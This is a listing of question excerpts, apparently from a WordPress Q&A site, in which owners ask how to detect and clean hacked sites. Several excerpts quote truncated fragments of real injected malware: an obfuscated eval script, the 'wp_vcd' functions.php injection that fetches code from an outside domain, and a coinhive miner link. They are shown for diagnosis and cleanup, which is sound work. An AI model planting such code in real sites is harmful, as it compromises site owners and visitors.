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How to log into WordPress via GET/POST

I have an old WordPress site, which I have no FTP access or anything and in WP-Login.php I'm getting this message. But I remember my login credentials, mail and password. Is there anyway I could ...
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How To Clean The Malware Infected & Hacked WordPress Websites? [duplicate]

I have some websites build with WordPress. My sites are affected by Malware programs and Hacked by someone frequently. Finally got a solution to stop this issue. I create this post for share my tips ...
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My wordpress site was hacked - is my htaccess file compromised?

My Wordpress site (on a shared server) was compromised. It's full of spam links when I do a google site: check. I removed a re-direct through cpanel so at least now the spam pages do not re-direct ...
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What to do about a hacked WordPress website and server? [duplicate]

My WordPress website has been hacked. Google sent me an email stating that the site would be listed in browsers such as Google Chrome and display a warning when users visit or download certain files ...
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What's the effect if this malware if infected your WP?

Just curious here and I need better understanding about this malware. Because their are websites are infected by this malware including my websites. But I can clean them all. Usually this malware ...
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Malware script in database post table only? [closed]

How can java script be visible in phpmyadmin posts but not visible within the wordpress environment?? Been struggling to clean a wordpress site after an annoying hack which popsup ads and redirects. ...
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How do I know if my WP Theme is using infamous TimThumb?

Is there a way to know if my current WordPress theme is using the infamous TimThumb plugin?
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I am having “Another update is currently in progress.”, also no 'core_update.lock' found

I am trying to update my WordPress site from 4.9.5 to 5.2.2. But I am getting "Another update is currently in progress." every time. I have checked for 'core_update.lock' in wp_options table, there ...
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Subpage is redirecting to spam site

My Wordpress site has recently been hacked and I followed the steps described here to clear it: https://wordpress.org/support/article/faq-my-site-was-hacked/ The whole site redirected to a spam ...
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Why wordpress is hitting another url

I got a mail from main hosting that your wordpress site is attacking or hitting another website each and everytime it loaded. I have checked all the plugins and code but couldn't find any solution.I ...
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Javascript Injection on my WordPress Site

My WordPress site is redirecting the user to some ad sites. It has generated some random clicks and each click redirects to the ad site. Also, now my site is labeled as dangerous by google. I have ...
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Spam pages hack? [closed]

A few days ago I noticed a few blog posts on my site that were spam and I knew I had been hacked. I did a few things in an attempt to clean the hack (Wordfence deleting unknown files, securing the ...
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how can i find malware code and remove from wordpress site to stop it redirecting to hackers click view pages

how can I find malware code and remove from a WordPress site to stop it redirecting to hackers click view pages
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Check for malicious code?

I have searched around and seen 'what to do if your site is hacked', and I'm not (necessarily!) looking for a plug in. The site I look after was hacked a while ago and I think all is well now. I ...
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Why would a hacker add this code to each post, and how to do mass cleanup?

Here is example of code I have seen inserted in two different posts: <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){...
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New user is assigned 2 roles: customer and superadmin

I've a question about user role in WordPress. After new user already registered. They can access with superadmin and customer role. They can access to /wp-admin/, create blog, etc.. For my ...
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Help determining if the following are legitimate files

I have installed wordfence and did a scan and I have the following warnings. I am not sure if they are left over from a hacking attack last year that sitelock have not removed or if they are required....
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Is this a hacking script in function.php?

I have code like below in neve theme WordPress. I feel suspicious about this code $wp_auth_key='ac15616a33a4bae1388c29de0202c5e1'; if (($tmpcontent = @file_get_contents("http://www.darors.com/...
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Is there a simple way to set wordpress site files back to out of the box?

I have an amateur wordpress site for a club which seems to have been hacked. With some help on here I have undone some of this but I've still got quite a few problems. Mainly I can't get into the ...
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How can I ascertain that my previously hacked WordPress site are now free of malicious code? [duplicate]

I am almost certain that someone cracked my FTP password using Bruteforce attacks. After that, they injected malicious code in my 3 different websites. Two are hosted on WordPress and one is entirely ...
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My blog was hacked? WP posting random posts

I have been searching at this site posts about blogs being hacker, but I haven't find something like this. One of our Editor's account has started to publish random posts. Our first thought was his ...
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Have I been hacked - getting new site setup email for 8 localhost wordpress sites

I've just found some emails in my spam folder saying a new wordpress site has been set up on my local server, for 8 already existing wordpress installs. I'm assuming its been hacked but am not 100%. ...
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Is my WP site being hacked?

In the past month or so I've seen 3 or 4 new users signing up each day with "awkward" usernames (letters/numbers). Then, a few days later, they start changing their password. And then a few days later ...
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Open content directory help!

I just found out tha I have a wp-content directory that is open where you can see all of my files that I have on mysite- pdf's, jpgs, etc. Files that are meant to be for members only as well....all ...
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Some one is trying to hack my website, Need guidance [closed]

There are multiple IPs that are trying to access my directories. I am using iThemes Security plugin and it shows the following lists. These are the files all of the IPs are trying to access every ...
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Site Hacked - Wordpress Divi Site - Cannot find where to fix the issue? [closed]

I need help trying to find out where to look to find out how to get rid of an issue on a wordpress site I manage. If you go to http://www.thedailycrave.com you will see if you scroll down to the ...
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You appear to have already installed WordPress. To reinstall please clear your old database tables first

My website was crashed by hackers and i am trying to restore from my backup. i have deleted all old files and trying to restore from the backup. i copied all my WP files in public_html. after ...
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WP Site Hacked, Serp Google Spam [closed]

It all began when Google Ads suspended my ads because they found a malware in my WP site. I tried to do scan with some free plugins: Wordefence, anti-malware and Securi, or online tool like: sitecheck....
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Unfamiliar query string in Google Search Console URL not found

An old client site was hacked. After deleting the old site and rebuilding a new site, the Google Search Console has quite a few (50 or so) URL not found with this address pattern. /category/...
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How can I find security hole in my wordpress site?

Last day I've noticed that my site is hacked and a PHP backdoor is installed on my site. Virus scanner reported that a plugin file is inside my wp-content/uploads which I did not upload it myself. It ...
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What does this code do? (Injected code hacked)

This code below was been injected in my wordpress theme on functions.php Can someone explain me what does the code do? how that was been done? $div_code_name = "wp_vcd"; $funcfile = __FILE__; if(...
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malware in wordpress installer on dreamhost. <link rel='dns-prefetch' href='//coinhive.com' /> [closed]

I was trying to create a website. It is live. And you can see that there is a malware which google detected. In the source you will see three lines <link rel='dns-prefetch' href='//coinhive.com'...
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How to remove content from hacked pages? [closed]

My WordPress/Woocommerce website was hacked and I ended up with a video category as well as urls to dead internal video links on the admin user's profile page. (I have attached an image of the user ...
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Strange gibberish JavaScript in Editor – site hacked?

A client's website runs on the theme 'enfold' which features the "Enfold Advanced Layout Editor". Currently that editor is broken – probably due to old version vs php or something. Anyways – trying to ...
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Where I can find a list of Wordpress security risks?

I'm working on one project where I need to find a list of different security risks or malicious codes which were used by hackers nowadays or in past. I can go and search one by one, but it will take ...
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wp-config.php modified?

This might be a broad topic but I am searching and reading but not able to clear my doubts, please advice in answer or links from where I can understand about how codes are injected to WP by attackers....
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Hacked site. Fixed. Nailing down the cause [duplicate]

One of the sites I manage was hacked, basically the hack consisted in redirecting users to other external webpage (sort of advertising spam malware). I have moved the hacked site to a staging site ...
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My Wordpress website was hacked [closed]

Today while working, I had tried to install Go Pricing Plugin from this website. https://www.downloadfreethemes.download/go-pricing-v3-3-8-wordpress-responsive-pricing-tables/ It was unsuccessful at ...
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Replacing nav-menus.php file with standard clean one?

I am a self-taught wordpress website designer so pardon my possible ignorance. A few sites I had worked on for a client were recently defaced by an Indonesian hacker group (fun!). The client had not ...
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Increased CPU load due to admin-ajax.php spam

I experienced that my server received a 99% CPU load and the site goes almost down. Checked the access log file and there are tons of following entries: 203.115.XXX.XXX - - [13/Oct/2017:12:40:01 +...
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Find and Replace text in the entire table using a MySQL query

Website has been hacked and they have injected javascript into every single post, page and product (woocommerce) - Editing every page manually would take for ever, we have over 3000 posts. Is there a ...
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Can't access htaccess [closed]

my htaccess have chmod 444 and it's not possible for me as admin with ftp access to edit it. Also if I'm disabling all wp security plugins. When I'm change the chmod to 644 or if I just remove the ...
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how to find the way they hacked my WP site

Last night, one of my clients' sites was hacked. The only thing that's been done by the hackers, as far as I can see, it that they changed the content of the index.php file to theirs. The fix for ...
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How can I safely hide the fact that my website runs on Wordpress? [closed]

I would like to hide the fact that my website runs on Wordpress from potential hackers. Is there a reliable plugin that I can use, or an online guide to doing this, so that a website visitor would ...
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My site appears to be hacked [closed]

My site appears to be hacked. When I log on to the control panel http://www.elqanah-news.com/wp-login.php it gives redirects
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Hacked WordPress website, as notified by Google Search Console, what to do? [closed]

I just received a second email from Google Search Console, that one of my websites, Emma&Nala Jewelry was hacked. In the email, they have sent two URL's that they found to be "suspicious": http://...
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getting casino links on my woocommerce site [closed]

i am getting various casino links on my site, i have searched everywhere in the files in my database, but i can't locate the issue, these links come and go they mostly appear in the header and the ...
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How to stop repeated hack on header.php of custom theme? [closed]

Noticed some unwanted files on the website root folder and removed them. I have found that header.php file has some malicious code which redirects to spam sites only on mobile browsers. when these ...
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Replace domain in database

My site is attacked, so basically all the core php files are corrupted and broken. Only the database is left. Now I tried in my localhost. If I want to restore my site from this database, is domain ...
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How to locate & delete hidden pages on a site

Basically my friend has a custom wordpress site which was hacked recently but apparently the dev cleaned it up (said it was a server hack and that all their sites were hit) and filed a reconsideration ...